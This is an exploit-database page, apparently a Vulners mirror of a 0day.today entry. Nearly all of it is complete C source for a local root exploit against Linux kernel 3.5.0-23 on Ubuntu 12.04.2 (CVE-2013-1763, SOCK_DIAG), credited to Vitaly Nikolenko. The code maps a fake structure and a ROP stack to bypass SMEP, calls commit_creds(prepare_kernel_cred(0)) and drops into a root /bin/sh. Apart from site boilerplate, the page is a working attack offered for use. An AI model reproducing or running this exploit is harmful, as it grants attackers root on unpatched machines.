Search...

Linux Kernel 3.5.0-23 (Ubuntu 12.04.2 x64) - SOCK_DIAG SMEP Bypass Local Privilege Escalation Exploi

2018-03-19T00:00:00
ID 1337DAY-ID-30004
Type zdt
Reporter Vitaly Nikolenko
Modified 2018-03-19T00:00:00

Description

Exploit for linux platform in category local exploits

                                        
                                            /** 
 * based on the exploit by SynQ
 *
 * Modified PoC for CVE-2013-1763 with SMEP bypass
 * Presentation: Practical SMEP Bypass Techniques on Linux
 * Vitaly Nikolenko
 * [email protected]
 * 
 * Target: Linux ubuntu 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
 *
 * gcc sockdiag_smep.c -O2 -o pwn 
 */
 
/**
 EDB Note: Video ~ https://youtu.be/jHJd-5NvWlQ
**/
 
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/inet_diag.h>
#include <sys/mman.h>
#include <assert.h>
//#include <linux/sock_diag.h>
//#include <linux/unix_diag.h>
//#include <linux/netlink.h>
#include "sock_diag.h"
#include "unix_diag.h"
#include "netlink.h"
 
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
 
static void saveme() {
    asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "pushfq\n"
    "popq %2\n"
    : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"       );
}
 
void shell(void) {
    if(!getuid())
        system("/bin/sh");
 
    exit(0);
}
 
static void restore() {
    asm volatile(
    "swapgs ;"
    "movq %0, 0x20(%%rsp)\t\n"
    "movq %1, 0x18(%%rsp)\t\n"
    "movq %2, 0x10(%%rsp)\t\n"
    "movq %3, 0x08(%%rsp)\t\n"
    "movq %4, 0x00(%%rsp)\t\n"
    "iretq"
    : : "r" (user_ss),
        "r" ((unsigned long)0x36000000),
        "r" (user_rflags),
        "r" (user_cs),
        "r" (shell)
    );
}
 
int __attribute__((regparm(3)))
kernel_code()
{
    commit_creds(prepare_kernel_cred(0));
    restore();
     
    return -1;
}
 
int main(int argc, char*argv[])
{
    int fd;
 
    struct sock_diag_handler {
        __u8 family;
        int (*dump)(void *a, void *b);
    };
 
    unsigned family;
    struct {
        struct nlmsghdr nlh;
        struct unix_diag_req r;
    } req;
 
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
        printf("Can't create sock diag socket\n");
        return -1;
    }
 
    void *mapped;
    void *fakestruct;
    struct sock_diag_handler a;
    a.dump = (void *)0xffffffff8100b74f;
 
    commit_creds = (_commit_creds) 0xffffffff8107ee30;
    prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107f0c0;
 
    assert((fakestruct = mmap((void *)0x10000, 0x10000, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE, 0, 0)) == (void*)0x10000);
    memcpy(fakestruct+0xad38, &a, sizeof(a));
 
    assert((mapped = mmap((void*)0x35000000, 0x10000000, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_POPULATE|MAP_FIXED|MAP_GROWSDOWN, 0, 0)) == (void*)0x35000000);
 
    unsigned long *fakestack = (unsigned long *)mapped;
    *fakestack ++= 0xffffffff01661ef4;
    int p;
    for (p = 0; p < 0x1000000; p++)
        *fakestack ++= 0xffffffff8100ad9eUL;
     
    fakestack = (unsigned long *)(mapped + 0x7000000);
    printf("[+] fake stack addr = %lx\n", (long unsigned)fakestack);
    *fakestack ++= 0xffffffff8133dc8fUL;
    *fakestack ++= 0x407e0;
    *fakestack ++= 0xffffffff810032edUL;
    *fakestack ++= 0xdeadbeef;
    *fakestack ++= (unsigned long)kernel_code; // transfer control to our usual shellcode
 
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;
 
    req.r.sdiag_family = 45;
 
    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
 
    saveme();
    if ( send(fd, &req, sizeof(req), 0) < 0) {
        printf("bad send\n");
        close(fd);
        return -1;
    }
}

#  0day.today [2018-04-03]  #
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by